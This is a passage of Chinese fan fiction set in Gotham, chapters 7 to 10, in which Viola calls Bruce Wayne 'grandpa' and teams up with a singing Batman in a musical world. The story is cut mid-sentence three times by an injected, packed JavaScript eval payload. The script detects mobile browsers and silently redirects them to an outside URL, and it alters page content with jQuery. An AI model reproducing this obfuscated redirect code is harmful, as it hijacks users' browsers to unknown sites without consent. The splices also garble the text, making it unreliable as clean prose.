《[综英美]哥谭,但是音乐剧》 7. 爷爷……? 面对诱惑,我…… Summary:维奥拉站住了,脸上现出欢喜和凄凉的神情;动着嘴唇,却没有作声。她的态度终于恭敬起来了,分明的叫道:“爷爷!……”(节选自《闰土,但是哥谭》)(注1) —— 半小时后,韦恩庄园主楼会客厅。 维奥拉坐在沙发上,忐忑地握紧茶杯。她磕磕绊绊地给阿尔弗雷德复述音乐天使给她制定的身份,解释了她拜访的原因,把父母留下的那封信交给他,并且真诚提出“很想见一见唯一的亲人”。 阿尔弗雷德毕竟是阅历惊人的老管家,听完后绅士地请她坐下,收下那封信并给她端来红茶,安慰她不要太过伤心,又说会立刻告知布鲁斯老爷。 阿尔弗雷德的脚步声远去,维奥拉松了口气,放下茶杯。 音乐天使给她安排的这个千里寻亲文学有点太程式化了吧!和之前的蝙蝠崽文学有什么区别? “你是谁?” 一个男孩突然在窗户外探头,警惕地盯着她,问道。 而维奥拉只花了0.01秒就认出这是达米安·韦恩——偏深色的皮肤,小刺猬一样的短发和一双森林绿的眼睛。达米安正挑剔地扫视她,就像她是一名闯进他家的恐.怖分子。 “那你是谁?”维奥拉没有理会他的问题,反问道。 达米安没料到对方反客为主,皱起眉:“这是我家。你要先回答我的问题。” 维奥拉狡猾起来,她故意说:“这是布鲁斯·韦恩的家。” “也是我的家!布鲁斯·韦恩是我的父亲。”达米安恼火地回答,旋即发现自己先于维奥拉说出自己的身份,噎了一下,怒视她,“你以为你很聪明?套我的话没任何用处。” 维奥拉无辜地摊手:“也许?” “你!” 维奥拉忍不住笑出声,心情颇好。达米安单手撑窗翻进房间,站在她面前手臂交叠,嗤道:“我的名字是达米安·韦恩。如你所愿,你知道我是谁了,那么你呢,陌生人?” “好吧,达米安,下午好。我是维奥拉·缪特。我是来……”维奥拉答道,突然想到一件很可怕的事。 哦,不。 布鲁斯·韦恩是她的表祖父的话,那么达米安将会是她的—— 长辈??? 不要啊啊啊啊啊。 维奥拉惊恐地看着达米安。 达米安:“?” 这人怎么回事,说半截话就一脸呆滞,而且看着傻傻的,额头上还有个创口贴,一副刚经历过什么倒霉事故的模样。达米安想着,心态奇迹般平和下来,决定大发慈悲地关怀一下这个笨蛋。 “父亲现在很忙。你有什么事,可以求助于我,我会帮助你。”达米安·好心罗宾·韦恩说。 维奥拉扯了扯嘴角:“……谢谢,但是不用,达米安。” 总不能说“谢谢啊达米安叔叔”吧!!! 达米安见她并不开口,撇撇嘴觉得无趣:“所以你是来做什么的?” “嗯……寻亲?” “什么?” 维奥拉有些头疼地闭上眼睛又睁开,解释:“事情很复杂,但总之就是……我们家是韦恩家的分支,我的父母去世了,所以我来投奔布鲁斯·韦恩先生,我唯一的……呃,亲戚。” 嗯是的,远房亲戚AKA表祖父,真是复杂的亲属设定呢。 达米安闻言,挑剔地看着她:“这么说我们也许有血缘关系?真是让人意外,毕竟你看上去不太像韦恩家族的一员。” 维奥拉:“……?” 算了算了,不和小孩计较! 阿尔弗雷德适时出现,朝她和达米安微微躬身:“维奥拉小姐,请允许我为您介绍布鲁斯·韦恩先生。” 他优雅退向一旁,露出身后的布鲁斯·韦恩。 维奥拉坐直身体,抬头看向来人。 布鲁斯穿着铅灰色西装,手里拿着那封信,眉头微蹙。他身形高大,英挺俊朗,额前的短发微微卷曲,整个人温和沉稳,和昨晚在东区时蝙蝠侠完全不一样。面前的布鲁斯似乎很忧虑维奥拉的处境,海洋般的眼睛里盛满关怀。他向前走了两步,站在维奥拉面前俯身:“维奥拉·缪特?” 维奥拉紧张地握紧拳头,思考自己该说些什么来加深这颇有纪念意义的第一次见面。 也许是太紧张,又或者也许是脑子真的被撞坏了,身体代替大脑思考的下一秒,维奥拉猛地站起来,盯着布鲁斯的眼睛,声音像被掐着脖子的鸟一样紧张到变形,喊道: “……爷爷!” 一片死寂。 布鲁斯:“???” 布鲁斯·黑暗骑士·哥谭王子·正义联盟的大脑·蝙蝠侠·韦恩,一生中经历过无数种堪称奇观的场景,可绝对没有眼前这一个更令他脑子一空。 整个房间诡异地安静了三秒后,他艰难开口道:“你好……维奥拉。” 上帝啊再说点什么吧,布鲁斯的大脑绝望地飞速运转,却仍短暂宣告罢工。他在思考该如何平静地应下这个称呼的同时,如何对达米安介绍这位“亲戚”。 维奥拉也在勉强维持微笑中。 音乐天使呢,快来救救她!快!!! 她脱口而出一声“爷爷”的诡异程度与“小丑突然宣布自己出柜同时与电冰箱喜结连理”不相上下,而且她清楚地看到布鲁斯的表情在她出声后历经五彩斑斓的变化,最后停在一个微妙的礼貌和即将崩溃的微笑上。 达米安猛地站起来,不可置信:“你称呼父亲为什么???” 什么爷爷!父亲怎么突然凭空多了个孙女? 难道除了格雷森、陶德、德雷克外,他还有别的更年长的兄弟?韦恩家什么时候这么热闹了? 维奥拉发出一声极为尴尬的笑:“哈,我是说,韦恩先生。” 她要找音乐天使重开!她现在立刻去当小丑的生物学女儿! 布鲁斯轻咳一声,目光移开,作为一名成熟的长辈(?),他默契转移了话题:“好的,维奥拉。欢迎来到哥谭。我注意到你明年会入学哥谭大学?” 达米安还处在又惊又怒的表情中,站在他们俩中间,左看一眼布鲁斯,右看一眼维奥拉,张口想说些什么,却半天没吐出一个字。 很显然,达米安·韦恩年轻的大脑暂时无法承受这样重磅级的寻亲故事,正在缓慢处理信息中。 维奥拉听到布鲁斯的询问,赶紧点头。 “你父母的信我已经看过,很抱歉得知这样的消息。缪特家确实与韦恩家分享相同的血脉,所以……欢迎你来到韦恩庄园,维奥拉。我是布鲁斯·韦恩,你的远亲。”布鲁斯说。 他的手搭在达米安肩上,对她介绍道:“这是我的儿子,达米安。家里还有几个孩子,但暂时不在庄园。大概三天后,我会安排一场正式的家庭聚会,介绍你们认识。” 达米安僵硬地对点了个超小幅度的头。 维奥拉抬起头,对上了布鲁斯柔和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844936|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼神。她深吸一口气,对他露出微笑:“好的。很高兴见到你,韦恩先生。” 又转向仍然保持“你们在搞些什么”表情的达米安,干巴巴说:“你好,达米安。” 达米安轻哼一声。 布鲁斯摆摆手:“还是叫我布鲁斯吧。让我们谈些正事,我想你大概没有临时居所?” ——不然也不会凌晨在东区路口找他借钱了。 维奥拉正要点头,却忽然想起红头罩留给她的钥匙,迟疑了一下:“我想大概有?” 伯恩利区安全屋,红头罩友情(或是贿赂?)赠送,不退不换。 布鲁斯:“嗯?” 他蹙眉。几小时前她还在满东区找旅馆,现在就有落脚地了? 哥谭守护者蝙蝠侠的脑子里排演了数十种可能,大概率走向都是“年轻天真的外地人在哥谭东区被别有心机之人骗钱遂以为自己有临时住所殊不知下一秒就会被扔进不知名黑工厂干苦力”。 他的眉头皱得更深,似乎已经看到了面前一脸单纯朝他咧嘴笑的维奥拉被坑蒙拐骗去打黑工的悲惨未来。 这可不好。 维奥拉看着布鲁斯的表情从“礼貌询问”到“有点惊讶”再到“不对劲吧我再想想”,最后停留在“不赞同的目光”上。 维奥拉:“?” Hello?布鲁斯,你一个人站在这的五秒钟里到底在脑补些什么? 布鲁斯缓缓开口:“基于目前的情况,我建议你暂时住在韦恩庄园。你愿意吗,维奥拉?” 虽然贸然邀请一位素未谋面的晚辈(?)住在自己家听上去有些冒昧,但韦恩庄园很大,如果她实在腼腆不愿意和人交流,也是可以愉快度过接下来的日子的。 维奥拉愣了一下:“韦恩庄园?” 布鲁斯·韦恩,邀请,她,住进韦恩庄园? 每一个字听起来都很正常,但是合在一起竟让维奥拉头晕目眩。 其实她今天来拜访的目的很单纯,只不过是因为得到新身份后好奇心发作,想来韦恩庄园凑热闹混眼熟;再加上她很好奇面具之下的青年蝙蝠侠究竟是什么样,这个世界的罗宾们又是如何相处的。 她当然也毫不客气地想过能不能直接登堂入室蹭一个韦恩庄园房位,但这听起来实在太匪夷所思了——一个十八岁的女孩,拿着一封信来找三十多岁的阔佬,开口就是“亲爱的爷爷啊我是你表表表孙女”,这怎么看也不像正经寻亲吧! 反而听着更像来诈骗韦恩的傻瓜骗子。 布鲁斯见她迟疑,善解人意道:“哥谭也许不像你的城市那样安全,但韦恩庄园会尽可能地保护你。作为你唯一的亲戚,我有义务提供安全的居住环境。” 维奥拉几乎要心动了。实际上,她的“我愿意我愿意我超愿意”已经在嘴边,但一瞬间,她突然意识到一个值得考虑的问题—— 今夜零点后,音乐剧世界来临,而她如果还躺在韦恩庄园某个房间的床上,真的不会被另一个世界的新手蝙蝠侠大惊失色地丢出去吗? 毕竟音乐剧世界是十年前的世界,那个时间点,布鲁斯·韦恩可不认识她这么一个“孙女”,只会惊恐地发现自己家里多了一个呼呼大睡的陌生人。 唔,这可不妙,尤其是考虑到对方是个会一激动就唱歌的音乐剧版蝙蝠侠。 所以,维奥拉·缪特,拒绝诱惑,saynotothis! 维奥拉意志极为不坚定地对自己点点头。 8. 临时搭档 Summary:多年以后,面对华丽的音乐剧舞台,维奥拉·缪特将会回想起和蝙蝠侠组成临时搭档的那个遥远的夜晚。 —— 维奥拉·缪特,saynotothis! 经过激烈的思想斗争后,维奥拉还是遗憾咽下答应的话,斟酌着婉拒道:“谢谢,布鲁斯,但我暂时住在伯恩利区的一间公寓里,我想我在那儿会比较方便。” 说完忍不住闭眼一秒。 好心痛,她拒绝了布鲁斯·韦恩的邀请。 布鲁斯见她并不住在东区,稍微放下心来,问:“那么你能提供你的住址吗?我想你大概需要一些必需品,阿尔弗雷德会替你安排好。” 维奥拉对布鲁斯和阿尔弗雷德道谢,报出红头罩提供的安全屋地址。 听到熟悉的街区和房号后,布鲁斯微微挑眉:“……你确定是这里?” 维奥拉不明所以:“对。怎么了,有什么问题吗?” 难道这房产名下是布鲁斯·韦恩?不至于吧,红头罩好歹也有点自己的资产嘛。 布鲁斯只是轻咳一声:“没什么,我会安排好一切的。大概今天晚上八点左右,阿尔弗雷德会来拜访你。” 他看向阿尔弗雷德,老管家轻轻点头。 ——顺便检查一下周边环境、房东是谁、租金多少、有无暗哨、处理房内监控,以及,她到底是不是误入骗局。 布鲁斯只需要一个眼神,阿尔弗雷德就默契地接受了他以上所有的信号。 而对此一无所知的维奥拉还在一旁傻乐。她只觉得阿尔弗雷德像家庭版007,仅凭一人之力就可以把整个韦恩家都安排得妥妥当当,比如现在,他看起来就像在说—— 管家侠,家庭内务接收,over。 奇奇怪怪的寻亲之旅就这样短暂画上句号(或者是逗号?)。 晚上十一点,维奥拉躺在经过神奇老管家的贴心布置下焕然一新的公寓中,长长舒了口气。红头罩友情赠送的安全屋空空荡荡,当维奥拉第一次打开门时,以为自己误闯样板房。好在阿尔弗雷德订购了相应的生活用品,又给她带了些足以塞满冰箱的烘焙甜点,以及一张blingbling闪耀着“我是韦恩家的我超有钱”气质的信用卡。 “老爷希望您能收下它。”阿尔弗雷德声音和蔼,“如果您有任何需要,欢迎随时回家。” 回家。 这是她在陌生世界的第一个“家”诶,尽管家庭成员是辈份猛涨的布鲁斯表表表爷爷,但也是家!维奥拉眼泪汪汪地看着老管家,几乎想给他一个拥抱,但她忍住了。毕竟对阿尔弗雷德来说,她还是陌生人——一个有韦恩家血缘关系的陌生人,对吧?所以维奥拉只是和他握了握手,然后目送他离开,倒进绒毯里。 终于!她可以正常地入睡了! 不是一脚踏空摔上天堂,不是被一玻璃瓶砸晕,没有Insleephesangtome的音乐天使的骚扰,而是真正地睡眠! 十二点就要到来,音乐剧又要上演了。但在此之前——维奥拉睡着了。 睡梦是甜蜜柔软的。维奥拉独自一人漂浮在蜂蜜般的云雾间,像只快乐的小鸟。不断有音乐在她耳边响起,是神圣的弦乐和唱诗班的空灵声音。维奥拉几乎沉浸在这样的世界里。 直到一道玻璃碎裂声把她惊醒。 嘿,零点了,作为忠实的观众,在音乐剧世界里怎么能睡觉呢? 维奥拉睡眼朦胧地坐起来,摘掉眼罩,颇为怨念:“又怎么了?” 她慢吞吞地起身,打开卧室门,正好和从一堆碎玻璃里狼狈爬起来的蝙蝠侠对视。 蝙蝠侠:“……” 维奥拉:“……” 沉默良久,维奥拉艰难开口:“你在我家干什么?” 这句话像个开关,灰黑色的蝙蝠侠刷地站起来,抖掉那些玻璃块,唱道: [看哪,又是她!] [许久不见,重逢竟在如此狼狈之下!] 似乎是开嗓过后惊醒了整个舞台,伴奏、灯光和若有若无的舞台香氛突然出现在客厅。蝙蝠侠流畅地转圈到灯光下,打了个响指,音乐停下,灯光转为桃红色,一颗炫彩迪斯科灯球缓缓从空中降下,挂在窗边。 维奥拉:? 只见蝙蝠侠右脚点地,画了个弧形,随后双手叉腰。灯光转成渐变色,照在他的头盔上,把他投在地上的蝙蝠耳朵影子拉得长长的。 突然,音乐起!活泼的节奏!苏格兰风笛! 嘟嘟嘟嘟嘟! 维奥拉觉得耳熟。怎么旋律有点像《寻找梦幻岛》里那首欢快的凯尔特风歌曲?(注1) 蝙蝠侠俨然已经进入音乐剧状态,他冲她招手,唱道: [义警夜巡也会遇到一些小状况] [这一次也许怪我的蝙蝠抓钩枪] 唱完这两句,他耸耸肩,把抓钩枪朝后一扔(维奥拉:?),跳圆舞曲似的转了一个360度的圈,披风像斗牛士的红斗篷一样散开。 左脚,右脚,踢步,转圈。 还没有结束,他继续唱: [瞧瞧我的新武器,它刚登场!] [谁料却一不小心,轨道偏航!] [哗啦哗啦!它打破陌生人的窗] [抱歉,市民,但是请别惊慌!] [因为——] [蝙、蝠、侠,祈求您的原谅!] 唱罢,他猛地鞠了一躬,维奥拉猝不及防,后退一步直接跌进沙发。 停! 虽然已经知道了音乐剧世界的蝙蝠侠会唱歌跳舞,但每次直面这样的场景时,维奥拉仍然免不了恍惚一瞬: 她怎么会看到一只又唱又跳的黑暗骑士呢?这画面无论第几次欣赏都略显惊奇。 以及他的歌词!好有嚼劲的唱法,好拼尽全力的押韵! 维奥拉愣愣地盯着蝙蝠侠。 只见蝙蝠侠绅士地伸出右手,手心向上:“对于您的损失,我实在抱歉。但是请放心,我会负责到底。” 他抬起头,看着维奥拉。过了几秒钟,他迟疑地问: “你是上次在我的‘超惊险酷炫蓝钻抢劫案’里给我鼓掌的女士吗?” 什么什么案?谁取的名字,蝙蝠侠吗? 维奥拉叹了口气:“是的,蝙蝠侠。” 蝙蝠侠眼睛亮了起来,站直:“果然是你!好久不见,外地人,看来你在这里过得还不错?”他打量着这间公寓。 很久了吗?维奥拉对音乐剧世界的流速产生了怀疑。正常的24小时到底等于音乐剧世界世界的多久? 但维奥拉也没有时间计算时差,只是点头:“可能因为我遇到了好心人。” 好心补偿她一所公寓的红头罩也是好心人,嗯。 蝙蝠侠满意地点头,抱起双臂:“我很欣慰,哥谭正在变好。” 他似乎想起了身后一地的碎玻璃,不知从哪里掏出了一个小本本和一支笔,刷刷记着账:“伯恩利区第x街区x号xxx,玻璃窗一份……” 维奥拉好奇地凑上去:“你在写什么?” 蝙蝠侠抬起头,笔朝太阳穴点了点:“账单备忘录。明天会有人来维修窗户,以及支付200%的赔款,记得签收。” 写完,他收起本子,冲她微微一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857396|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“保障市民的正常生活也是义警工作的一部分。” 哇。维奥拉忍不住赞同点头。多么有素质的义警!超级英雄战损结算都应该向他看齐! 蝙蝠侠收起本子,又拿出一个小小的通讯器点来点去。看样子蝙蝠侠应该正在工作,于是维奥拉问道:“你刚才在执行什么任务吗?” “没错!” 蝙蝠侠似乎很高兴她主动问起,一个滑步到了窗边,仰望夜幕下的星空,深情唱道: [There](在那儿) [Outinthedarkness](茫茫黑夜中) [Afugitiverunning](一个逃犯在流窜) [FallenfromGod……](背叛了上帝)(注2) 维奥拉:!!! “停停停停,蝙蝠侠,再唱下去就要支付版权费了。”维奥拉赶紧制止他,“你的意思是你在追罪犯?” 蝙蝠侠似乎原本也只准备唱这么一段,停下伴奏,手臂支在窗边转过身看她,愉快回答:“是的。我将这个案子命名为‘危机!邪恶企鹅人武器走私案’。” 说完,又转回去讳莫如深地看向星空。 维奥拉:“?” 他好像真的很喜欢给案件自命名。 “那这个抓钩……你是准备到楼顶吗?”维奥拉看着地上的战损玻璃。 蝙蝠侠侧过脸来:“嗯。我得到了一些线索,正在追踪企鹅人属下的行动——嘿,这不算秘密,不用捂住耳朵。是我新研发的抓钩枪出了点问题,才不小心影响到了你。” 他的目光转回室外,敏锐地看向远方,双手搭在窗沿,下巴微微昂起。某一瞬间,维奥拉真的觉得他像只黑夜中目光灼灼的蝙蝠,正在搜寻自己的猎物。 任务吗? 听听这些词:义警。夜巡。追踪。案件。 如果…… 一个小小的念头从维奥拉的脑海中冒出来,又被她犹豫不决地按下去。 可是……既然已经是音乐剧世界了,为什么不可以呢? 音乐剧不就应该是让人做梦、让人冒险的吗? 看着蝙蝠侠的侧脸,维奥拉最终开口道:“我在想……蝙蝠侠,我可以暂时担任一次你的搭档吗?” 维奥拉说完就立刻闭上嘴,有些懊恼。 哦不,她的语气可怜巴巴得就像《冰雪奇缘》里安娜在问艾尔莎doyouwannabuildasnowman。 蝙蝠侠侧过头看着她。 维奥拉有些不知所措地扯了扯自己的睡衣衣角。 “我得说,年轻的女士……”蝙蝠侠缓慢地说,“你拥有一颗正义而勇敢的心。” 维奥拉:“嗯?” 蝙蝠侠离开了窗边,走到她面前。他正式而礼貌地伸出手:“蝙蝠侠欢迎你的加入。噢……我能知道你的名字吗?” 维奥拉总觉得这画面似曾相识,但也伸手,和他短暂握了握:“维奥拉·缪特。你可以叫我维奥拉。” “维奥拉!”蝙蝠侠说,“欢迎你。” 维奥拉愣住。她的设想其实并不乐观,组队请求也只不过抱着必然被拒绝的结果提出来罢了。 但是—— 这里是音乐剧世界,你可以尽情做梦、尽情冒险。 所以,当普通人和超级英雄出现在同一个音乐剧场景中,那么——她就注定会和他们有互动,对吧? 蝙蝠侠抖抖披风,调整好抓钩枪,冲她微笑:“那么,准备好了吗,我们出发,临时搭档?” “好!” 音乐剧世界大冒险,现在开始! 9. SING! Summary:你可听见人民在歌唱……啊不对,是——你可听见蝙蝠侠企鹅人市民罪犯警员GCPD维奥拉以及整个哥谭,在歌唱? —— 哥谭的夜晚永远和蝙蝠侠三个字相伴。 维奥拉和蝙蝠侠一起奔跑在夜风中,胸腔里的喜悦几乎溢出来。 当蝙蝠侠朝她伸出手时,她没有一秒犹豫,立刻搭上。抓钩猛地射出,蝙蝠侠和维奥拉·缪特,一对临时组成的义警搭档,就这样仓促开始了今晚的夜巡。 出发前一刻,维奥拉还在真情实感地担心自己作为一个普通人能不能跟上蝙蝠侠夜巡的步伐,会不会给他拖后腿,有没有足够的体力。 而且她甚至还没来得及换下睡衣,也没有多米诺面具,甚至顺手把眼罩挡在口鼻前,充当掩盖身份的面罩。 但是——欢迎来到音乐剧世界!这里没有现实世界的束缚和规则,维奥拉只需要和蝙蝠侠肩并肩,就能自然而然地与他同频。 她和蝙蝠侠一起在高楼之间轻松地荡来荡去,跃过一个个障碍,和蝙蝠侠一样熟练翻过高墙、跨过栏杆,然后蹲在港口的集装箱后,严肃地问他: “你说我是不是该有个代号?” 这样,他们才能被称为“蝙蝠侠和xxx”,而不是“蝙蝠侠和那个神秘的穿睡衣的”。 蝙蝠侠思考了一番:“按照常理来说,是的。夜巡期间,最好不要暴露自己的真实姓名。你有想到什么名字吗?” 维奥拉摸了摸下巴:“既然你叫蝙蝠侠,那么我可以叫……” “蝙蝠女孩!”蝙蝠侠说。 “睡衣侠。”维奥拉说。 …… 蝙蝠侠:“?” 维奥拉:“?” 面面相觑中。 蝙蝠侠勉强赞成道:“……确实很有特色。” 维奥拉挠头:“谢谢?” 叮——咚—— 剧院的开场铃声在夜幕中空旷地响起。 嗯? 维奥拉四处寻找声音来源。为什么哥谭城市里也有场铃?难道世界真的是个巨大的音乐剧舞台? 铃声过后,他们今晚的目标有了动作。两人暂时放下这0%的取名默契,专心致志应付眼前情况。 音乐剧即将上演。 聚光灯很贴心地投向港口,企鹅人手底下的三个小头目正悠哉悠哉指挥搬运。他们三人倒是很符合音乐剧角色极富记忆点的夸张形象,左边是个高个儿瘦子,右边是个矮个儿胖子,中间是一名留胡子的光头。三人都穿着米色渔夫马甲,左右两人还留了脏辫,指间夹烟,另一只手揣裤兜。几人互相笑骂不断,偶尔恶劣地踹一脚正在干活的小喽啰。 维奥拉忍不住摇头。音乐天使的反派设计查重率大概高达98%吧,好刻板印象的反派群像! 突然,灯光转为橘色,一束束打在每个人身上,他们立刻进入音乐剧状态,节奏极快地唱自己的片段。 一人领唱道: [老板派我们来码头工作!] 剩下几个唱和声: [工作!工作!工作!] 一群穿着白色马甲的工人突然从船上跳下来忙碌搬运货物。 维奥拉:“?” 怎么有点耳熟。港口、工作、群像……等等等等,好像串戏到隔壁《汉密尔顿》的码头戏了吧……? 音乐天使到底会不会原创戏?! 维奥拉绷紧神经,注视着他们的一举一动,生怕下一秒蹦出来一个大唱“我不会错失我的良机”(Iamnotthrowingawaymyshot)的神秘男子。 好在音乐天使还算有那么一点可怜的版权意识,灯光转为平淡的天幕灯光,他们停下唱歌,说起台词。几人讲起自己此行的目的与曾经在企鹅人手下做出的光辉成绩,互相吹捧,听得人昏昏欲睡。 音乐剧的台词也可以这么枯燥吗。 维奥拉看了一会儿,觉得无聊,看向自己的搭档,问:“接下来怎么做?” 蝙蝠侠正撑着下巴目光深沉地看对面:“听他们讲完。维奥……睡衣侠,在音乐剧世界,我们尊重他人的表演。” 多么爱护演员的观众。 维奥拉肃然起敬,学着忠实观众蝙蝠侠的样子撑起下巴继续观演。 三人中,站在最中间的是名留胡子的男人。似乎到了他的独白时刻,所有的聚光灯都打向他,他一手按在胸口,一手挥向身侧,两眼显露出相当邪恶的反派光芒,唱: [现在是凌晨一点,地点在哥谭港口] [多么地幸运,老板派我来值守!] [我们三人中,他们不过是走狗] [只有我!是老板最信任的副手] [唔嘟嘟嘟嘟,蠢货们,你们将被灭口!] 唱完,他从身后抽出一把小刀,朝维奥拉的方向比划,似乎是在与观众互动,随后又迈着无声步伐在灯光熄灭的左右两名同伴眼前虚虚划过。 维奥拉渐渐觉得不对:“等一下。蝙蝠侠,他们起内讧了?” 蝙蝠侠却置若罔闻,仍盯着表演。 维奥拉的手在蝙蝠侠眼前挥了挥:“蝙蝠侠?黑暗骑士?哥谭之子?” 蝙蝠侠只是淡淡地移开她的手:“别打扰我,我在推理,睡衣侠。” 维奥拉:“……” 欧,睡衣侠。 维奥拉开始后悔自己取的代号了,这放在音乐剧歌曲里唱出来可不怎么好听,反而像什么子供动画片里会出现的说两句台词就杀青的角色。 一分钟后,蝙蝠侠盯着那转为散光灯的港口舞台,突然转过脸对她唱道: [看,我的搭档,他们三人似乎有所不合] 维奥拉:“?” 她刚才不就是在说这件事吗? 还有,怎么又唱起来了? “中间那个胡子,他想先解决他那两个同事。”维奥拉说,“我们需要做什么?” 她的目光转回舞台。那胡子男人把小刀别在身后,若无其事地和即将成为受害者的胖瘦两人聊天,一派祥和。但谁知道危机会不会再下一秒出现呢? 维奥拉忧虑地看着自己的搭档,期待他说出些高明的方法。 蝙蝠侠则冷静得多。他朝她微微摇头,继续唱: [呼吸,呼吸,睡衣侠。先分析,再行动,可还记得?] 他甚至还在押韵,维奥拉悲伤地想。 她深吸一口气,点头。 [看这三人的站位,我早已有计谋] 蝙蝠侠示意维奥拉的目光回到舞台上。 [作为世界第一侦探,我一眼看透] 维奥拉:“?” 虽然知道他的确是,但是能稍微谦虚一下吗搭档。 还有,他怎么突然换韵脚了? 蝙蝠侠刚才唱的片段甚至特地押上和那个胡子男相同的韵,用同一个曲调。音乐剧世界,正反派必须在同一首歌里出现? 蝙蝠侠手里还握着抓钩,指向胡子男: [中间的男人站在最后,他隐匿在黑暗中] [同伙目光不停留,没预料有争斗] [看他注视的焦点——颈动脉和后胸] [他举起了惯用手,反复检查枪套搭扣!] 唱罢,他最终总结唱道: [所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864868|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以,搭档,准备好,我们快快行动!] 已经蓄势待发90秒但仍然被要求听完蝙蝠侠演唱的维奥拉:“……” 她已经准备好了很久了!但蝙蝠侠一直在走流程! 在出发前一秒,维奥拉突然想起重要的事:“等等!我还不知道该做什么。我该去制服他,偷袭,还是什么别的——比如把他的舞台灯光关了让他看不见?” 她抬头和蝙蝠侠对视,虚心求教。 毕竟这是她第一次参加夜巡,什么都不了解,也不清楚作为蝙蝠侠的搭档应该做点什么。再说了,她只是个没受过任何专业训练的普通人,对即将进行的行动几乎是一无所知。 “噢,对。抱歉,我忘记你并没有相关经验。”蝙蝠侠善解人意地拍拍她的肩,随后递给她一个通讯器,郑重其事道,“拿着这个。你的任务只有一个,很关键,很重要。” 哇。维奥拉瞬间觉得眼前的通讯器变得神圣起来,她捧着它,小心地问:“是什么?” 蝙蝠搭档下达的第一个夜巡任务!她一定会拼尽全力、肝脑涂地、奋不顾身、视死如归地完成! “——拨打GCPD的报警电话,告诉他们港口有案件。”蝙蝠侠说。 维奥拉:“什么?” 这算什么重要任务! 蝙蝠侠一脸庄重:“这很重要,睡衣侠,你是这场任务的核心角色,你决定了罪犯能否落网。” 见她犹疑不决,他手握成拳,抵在自己的胸膛前,看着维奥拉:“你就像这场行动的心脏,知道吗?一个电话,你决定了哥谭未来是会武器走私泛滥,还是会就此停住,重获安宁。” 噔噔噔噔! 蝙蝠侠出场时的主题曲蓦地响起,维奥拉的脚下出现了一排柔光灯,齐齐打在蝙蝠侠的下巴上,衬得眼前的黑暗骑士无比高大。舞台的另一边,那三名企鹅人的手下低声合唱,营造出回声的效果: [他是黑暗] [哦哦哦——] [他是复仇] [哦哦哦——] [他是——蝙蝠侠!] [哦哦哦哦哦!] 维奥拉震惊地望向那三人:“你们怎么跟着合唱???” 见鬼了,反派给义警唱和声啦! 蝙蝠侠深深看了一眼维奥拉,问:“睡衣侠,你现在明白这个电话的重要性了吗?” 他说完这句话,音乐间奏声更大了,几乎推向曲中高潮。 好郑重,好肃穆,好神圣,好崇高的气质,莫名觉得被说服了……! 维奥拉看着已经预存好的号码,觉得再次被赋予庄严使命:“我知道了,搭档。” 咚咚! 鼓点声响起,蝙蝠侠欣慰点头:“那么,分头行动。” 说完,没了身影。 维奥拉回过神来,看向码头,发现他已经像一道影子一样藏在集装箱后,察觉到维奥拉的目光,对她做了个打电话的手势。 维奥拉赶紧拨通GCPD。 嘟嘟两声后,一个愉快的男声在通讯器里唱起来: [欢迎拨打GCPD,GCPD!] [我们是市民的好帮手,义警的助力!] [助力!助力!] [这里有勤劳的警员,谁都不缺勇气!] [勇气!勇气!] [还有戈登,我们的警长,他守护正义!] [正义!正义!] [欢迎拨打GCPD,GCPD!] [我们竭诚为您解决,危机!] [危机!危机!] 维奥拉:“……?” 这又是什么? 10. 代号睡衣侠 Summary:没有节奏感的义警不是好音乐剧演员,没有酷炫代号的维奥拉不是好搭档……噢,别误会,这个代号当然很酷。 —— [欢迎拨打GCPD!] [我们为您,解决危机!] 维奥拉把通讯器拿远,再次确认上面的备注是GCPD没错,举着通讯器陷入思考。 GCPD怎么也有自己的主题曲啊,而且还和她初到哥谭时市民合唱的那首《哥谭爱你》是一个曲调!原来哥谭官方机构是使用统一的大调么? 紧接着,beepbeep两声,那人终于正常说话:“GCPD为您服务。” 维奥拉开口:“你好,我……” 通讯器对面传来一声惊呼:“是蝙蝠侠的专号!蝙蝠侠呼叫GCPD中!” 然后一阵桌椅移动和急急的脚步声,对方再次接起电话:“蝙蝠侠,GCPD已定位,预计……15分钟分钟后到达。” 然后又是beepbeep两声,电话挂断,转为忙音。 维奥拉:“……好的,谢谢。” 对方全程没给她一句插嘴的机会,唱完歌后自己一个人回答了所有问题,又热情地挂掉电话。 维奥拉把通讯器塞进睡衣口袋,开始想象一些奇特的画面。 她待会儿应该不会看到又唱又跳的GCPD开着警车嘟嘟嘟地赶来吧。 不会吧……? 